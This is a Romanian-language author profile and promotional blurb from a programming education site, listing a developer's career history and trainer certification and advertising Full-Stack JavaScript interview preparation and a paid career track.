Senior Software Developer · fondatorul Academiei Programatorilor

LinkedIn
  1. 2019 Junior JavaCognizant Softvision
  2. 2021 Mid JavaCognizant Softvision
  3. 2022 Team LeaderEndava
  4. 2023 Senior Software DeveloperUniCredit
  5. Acum Senior Software DeveloperHCLTech
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu
Certificat de formator autorizatMinisterul Muncii și Ministerul Educației · 2022
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu

Certificat de formator autorizat · Ministerul Muncii și Ministerul Educației · 2022

Din 2020 construiește Academia Programatorilor, iar din 2026 și JoburiIT.ro. Întrebările de aici urmăresc ce se cere la interviurile de Full-Stack Developer (JavaScript), de la junior la mid, iar pe JoburiIT.ro îți poți certifica apoi cunoștințele.

De la întrebări la primul job de Full-Stack Developer (JavaScript)

Traseul de carieră îți pune cursurile în ordine, cu exerciții verificate automat și proiecte despre care poți vorbi la interviu. Primele lecții sunt gratuite.